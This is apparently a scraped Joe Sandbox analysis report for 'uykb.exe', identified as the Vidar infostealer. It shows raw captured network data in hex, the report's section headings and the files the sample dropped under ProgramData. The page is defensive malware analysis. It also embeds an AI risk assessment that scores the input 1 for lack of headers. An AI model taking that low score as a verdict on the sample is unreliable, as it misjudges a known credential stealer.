2025-02-01 20:59:23 UTC	1390	IN	Data Raw: d6 31 8b 56 d9 6b ef bf 71 7c 9c 2f 6c 16 99 ae f7 0a 9b c8 30 2c ca 60 21 3d e4 97 07 98 14 01 c2 91 f2 2c d9 37 7b ec 41 ad 01 21 ae 1e 20 c0 86 fc 5a 1d 7f 38 6e f5 dc 3b b2 84 53 34 28 25 8c d9 3d 51 74 8f e8 d4 53 25 f7 e5 41 7a e9 41 86 15 15 09 06 d8 ad 06 ad d1 54 eb 11 a3 73 14 ac af 7d f5 ff d0 e0 aa c5 63 6e 34 4a 06 e2 b3 30 55 96 7a d1 44 02 d7 4b 5a 31 08 33 cc 71 af 43 c1 72 cf c2 13 39 ed c5 6b a5 a0 8b 4d b9 5b cf 3d b9 95 ff a4 7d ee 0e fb c2 43 4b d3 49 2f 34 09 80 3d 0a 84 28 8c f1 44 16 ad 01 3e e6 51 f0 d3 4c cc fb 9d 05 38 c9 29 3e d4 fd fb 7d 95 bf b5 35 f7 46 0f 29 d8 65 d6 f8 22 95 b7 c4 b0 e9 08 40 14 5b 4d a8 7b 8c 54 74 60 d1 bd 0e d5 f5 c0 4f 0c f0 82 88 f2 2b 0b 9a e5 ba f7 bb 14 1b d9 e3 4e 5d f3 56 79 f5 e0 1a d1 20 93 98 Data Ascii: 1Vkq\|/l0,`!=,7{A! Z8n;S4(%=QtS%AzATs}cn4J0UzDKZ13qCr9kM[=}CKI/4=(D>QL8)>}5F)e"@[M{Tt`O+N]Vy
2025-02-01 20:59:23 UTC	1390	IN	Data Raw: 7e 7e 8d 53 e3 51 05 f2 b3 30 70 c6 08 3c a4 70 84 c5 22 3a d1 eb be 63 8d bd e5 36 5b 7d 4e 4c 77 36 e5 61 2f f8 11 10 c0 3e 50 37 7a 82 db 0d 6f 21 22 74 4a b0 6f df 48 df 28 ee 41 33 65 c8 ae 7b f8 81 75 6c ae b1 af fc 8d ec d5 48 8b 16 8a aa 75 cf 15 77 4e 84 62 33 b1 f0 4e f4 e2 25 27 ee 17 d1 ae 1f 77 4e 83 b8 f3 60 46 0e 48 f7 0c 52 ab 02 c5 e1 e7 1a fb bb e6 bb a7 1b 75 a7 0a bc 59 c0 77 4b 74 a3 66 1e 0e ec 80 a7 b4 47 31 f1 b4 0e d1 ee fe bd df 48 fc f1 9a 5b e2 3b ff ba 7c 08 1f 91 7f 7c fc 1f fc 8d 0c b8 74 6b fc 33 e0 1c 65 e6 1a dc 9b 5e 12 c3 09 4a 85 78 b2 b0 2e 85 c9 42 61 67 73 3e 3d 45 07 37 4f 89 04 15 45 17 ac c6 56 2c 70 55 f7 ab 7e 63 cd 55 58 f7 af e1 2d 69 df ed c8 b3 bd 42 cf af f0 9b b4 84 ea 4c e1 3b e0 6c cc 6a a2 4c e9 c9 8f Data Ascii: ~~SQ0p<p":c6[}NLw6a/>P7zo!"tJoH(A3e{ulHuwNb3N%'wN`FHRuYwKtfG1H[;\|\|tk3e^Jx.Bags>=E7OEV,pU~cUX-iBL;ljL
2025-02-01 20:59:23 UTC	1390	IN	Data Raw: 7a ee d0 f9 66 30 56 41 f2 1f c6 0d db 13 75 c2 a2 03 66 4a 30 d4 bd 44 42 1f 20 4e 7d 70 af 29 eb 05 0b 0f 09 c5 20 32 ed 45 0b 9f 19 d1 e4 8e 0c bd 46 c0 f9 37 8d a9 4c f6 90 bd 6a f5 d8 56 69 85 9f 3a ce de f2 5e dd 32 cb d5 63 fe c7 f1 27 ec 09 46 38 a3 72 09 3f 8a 9e 7d ea 5a fa 26 02 97 68 7d 57 c9 e2 d9 a9 6a 9e 6a a8 b3 0e 3a 21 b2 9a 58 d7 37 3d 27 a8 e3 0b 48 fd bc 5e 8f 35 e5 59 f2 fd 2c e3 9b f9 ef b1 74 3d f6 ff 3c 6f f9 f6 87 e7 2c 7f fb ec 28 7d 36 65 a6 ea 7e 3b 2b d9 e8 18 b5 6f 85 8e 0b c1 a7 7b c9 1d 95 9b f6 ad ec d5 b5 ec 6d ed 3f e7 af d2 6f 3e 0b bf 3b ff cf 67 2d 1d cf 03 1a bf 73 e7 fb 2c e6 a9 7d 37 4f ad f7 fd ff bb 8e 2f 43 c7 dd 57 09 1d 53 b3 58 0a ae f5 ad bd cc 6f c9 ef 87 46 8b e9 f6 59 5f 7f fc e5 af ff f8 d1 d4 85 ac 3f Data Ascii: zf0VAufJ0DB N}p) 2EF7LjVi:^2c'F8r?}Z&h}Wjj:!X7='H^5Y,t=<o,(}6e~;+o{m?o>;g-s,}7O/CWSXoFY_?
2025-02-01 20:59:23 UTC	1390	IN	Data Raw: f1 9c 2e 00 48 5b 39 44 6b e9 94 8f 19 ce dc 02 ad 3d 18 e6 8b c2 8b 95 5c 03 d5 2b b4 a9 57 0e 06 d3 e7 e2 e9 4b 6a 3f ee 66 ac 3f e2 91 2e d6 78 96 7f 54 cf f0 fa c9 46 fe 5a 3d ef 67 43 66 ff 78 b6 49 3f 2a 0a 93 57 2a ae 17 c2 2c c3 ad 40 6d b7 50 e1 6f 04 58 7f 1a 9c 86 9d 4e 4b 6e d8 c8 37 49 d7 da 9a 7a 9d 43 1d b0 77 d5 2a 02 8b 6b 7c be 1f fa 2e d2 e0 2e a0 be dc a8 80 d9 ee 5c 53 33 63 df 76 25 35 bb 19 f0 ab 69 13 08 1d 3b 2d c0 bd e3 97 f3 91 79 4e 1d 1f e0 c4 d3 22 01 0f 61 d7 4e 79 19 d9 16 5f 9a 4b f6 17 f0 b3 20 9f bc cf cc 5d 12 cc bd 1e 43 e2 60 77 35 e1 d3 8f aa c2 87 d8 ec d2 ed 31 bf b4 50 8b 67 13 4e 2b 96 01 d2 09 8a d5 07 38 30 64 49 de 00 9e e6 ad e9 f8 fa 66 c0 6a 3f 7e d0 68 7e fc f0 fb ac 95 31 1f 5e b1 96 a4 49 f3 90 4d c3 2e Data Ascii: .H[9Dk=\+WKj?f?.xTFZ=gCfxI?W,@mPoXNKn7IzCw*k\|..\S3cv%5i;-yN"aNy_K ]C`w51PgN+80dIfj?~h~1^IM.
2025-02-01 20:59:23 UTC	1390	IN	Data Raw: d0 8b e6 17 99 73 ed 9d e4 8a 98 40 8d 6b 0b 33 74 cd 33 10 70 70 3c 7d e7 1a 9f 55 df 43 78 3d c2 7f e7 f3 e6 09 71 94 be 37 f2 2e fd 82 50 41 fd f4 fd eb d6 c8 3f 99 4b 08 03 80 60 21 bd be eb 49 8e a4 96 f7 d2 9e 01 75 64 c1 da d0 1c 69 7e 8e a0 b4 0b c4 ec 27 5b 3e 73 f7 46 b2 8d 7e 4d 71 8c 06 30 b8 3e ec f8 d6 03 e2 03 82 45 6c 34 7b e2 a5 78 a7 38 83 45 0a bf 80 48 3c 02 e8 03 81 23 ea d6 04 3a 88 cd b6 04 8f ed 1b 02 d0 99 90 91 da 88 72 99 a4 e9 67 42 f4 c9 5c 2d 12 d6 71 1e 72 b9 fd 88 9e 71 75 cb 80 50 94 de 3c c0 f7 4c c8 6f 58 8f 85 fc be b5 d4 2e e9 83 ec 9f b8 de c8 ef 4b 51 bf b5 3a 12 c2 7e fe ca 8d 9c 91 94 f8 09 d1 a1 be e8 10 70 b5 64 5b 50 83 40 db 55 83 6a 1f 53 b3 ed c8 39 ed b8 45 31 14 d0 c8 58 af 4b c2 bf a2 68 83 c8 77 7d 7a 06 Data Ascii: s@k3t3pp<}UCx=q7.PA?K`!Iudi~'[>sF~Mq0>El4{x8EH<#:rgB\-qrquP<LoX.KQ:~pd[P@UjS9E1XKhw}z
2025-02-01 20:59:23 UTC	1390	IN	Data Raw: 76 6a 8d 76 b3 07 12 be fc 20 e8 c9 6c 26 39 83 02 67 0f c1 e9 3d 90 cd 15 66 a4 de 12 9d 35 7f 98 8c c0 ae a8 8b 11 63 40 22 9c 4f 7b 7d dd 5b ad bb c4 87 cc 09 87 19 67 63 d3 b2 51 42 63 16 60 5a 20 3a 76 8b 16 eb ed 69 6c 5d d5 50 14 63 b4 2b 59 5c 5f 57 72 0c d8 cb e5 47 98 13 7e d8 f5 e5 ae 2d f1 fd 86 a2 81 c5 c6 01 fa 80 6e 9e 6c ae 83 fa 96 d9 22 7c fb ad e6 56 a8 b9 62 2b d4 f6 2d ed 3c 28 6d 48 4c b0 d0 14 10 f3 3d 66 5a 29 0a 1a 35 2d 88 41 bd 80 e6 1b ca b4 a4 f9 23 5f d2 1a 98 37 29 4b 99 37 a2 fd 89 84 9f ac e9 56 a7 8b ce f5 12 a0 b7 94 dd 4b 8e 9f ab 28 0a 3e 5d 2a df 84 b9 17 09 08 16 12 2b f4 d2 ba 37 21 30 ae d0 88 bb 81 49 44 7e 58 98 04 d5 64 51 e4 44 52 b5 9e e7 c8 28 9d 2f f8 fc ff 3d 07 0b cb 38 58 94 73 b0 50 f2 ae d5 88 c4 97 10 Data Ascii: vjv l&9g=f5c@"O{}[gcQBc`Z :vil]Pc+Y\_WrG~-nl"\|Vb+-<(mHL=fZ)5-A#_7)K7VK(>]*+7!0ID~XdQDR(/=8XsP
2025-02-01 20:59:23 UTC	1390	IN	Data Raw: 84 3e 2e 25 f4 ea b4 d7 8d 49 a3 3d 75 1c 4d 5a 5f c2 1a bf e2 21 1e 28 42 d6 90 a8 ad ce 31 24 73 49 c5 84 b4 78 c0 44 14 e4 6b 19 9b 4c 0f 50 70 ac fa 0d d7 66 21 49 ce 3a e6 ad f8 3e 8c 21 d6 8c 21 c6 65 7d fc e8 c1 83 95 dd e1 e8 7a 9c 26 dd e9 0a 4a de bb d9 70 72 3e e6 2b 87 69 30 66 e3 eb 95 9d f3 69 77 38 9e d4 1e ac 1c 7f 7c f5 d7 fa 61 1a f2 c1 84 af 1f 44 80 f7 69 9c f2 71 73 65 67 04 2a 20 5f df a8 d5 1f 3c 7a 4c 67 38 2e 99 7f 09 94 f4 66 ee 5d 10 14 67 33 8c eb cc 63 25 ae e4 69 91 d2 33 5d 81 7f 21 4f c5 30 33 2e 1b 11 c8 0f 4e 31 6c bf e3 05 52 81 50 21 2d 18 dd a9 b5 4b dd cd b5 71 c6 50 99 97 74 b1 55 ed c3 6a 07 4d d6 16 34 2a 9d d0 5f a8 d6 ae 30 3a ab d3 0c 9a 15 6c de f0 d0 ff 32 9a a5 2e 74 9b b0 68 a2 16 11 f6 dc eb bf 34 c8 3f 6f Data Ascii: >.%I=uMZ_!(B1$sIxDkLPpf!I:>!!e}z&Jpr>+i0fiw8\|aDiqseg* _<zLg8.f]g3c%i3]!O03.N1lRP!-KqPtUjM4*_0:l2.th4?o
2025-02-01 20:59:23 UTC	1390	IN	Data Raw: f3 f1 c9 97 af df fe fa fe 37 0b 42 18 4a d2 4d cf 7a 59 7f 30 1c fd 1c 4f a6 e7 17 97 57 d7 bf ea 8d 8d 27 9b 4f 9f fd f9 fc 85 4e 4b 40 ca ef 69 a5 fa d8 af 78 f0 2f fc b3 fe c3 a7 7f 6b f<

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report uykb.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Protection of GUI

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\g4op8\2djekn

C:\ProgramData\g4op8\2djeknyuk

C:\ProgramData\g4op8\5pp8q9

C:\ProgramData\g4op8\a1dt00

C:\ProgramData\g4op8\aaieuk

C:\ProgramData\g4op8\c2vkng

C:\ProgramData\g4op8\d2djec

C:\ProgramData\g4op8\ekx4oh

C:\ProgramData\g4op8\fkx479

C:\ProgramData\g4op8\l6xtrq

C:\ProgramData\g4op8\ppzus2

Windows Analysis Report
uykb.exe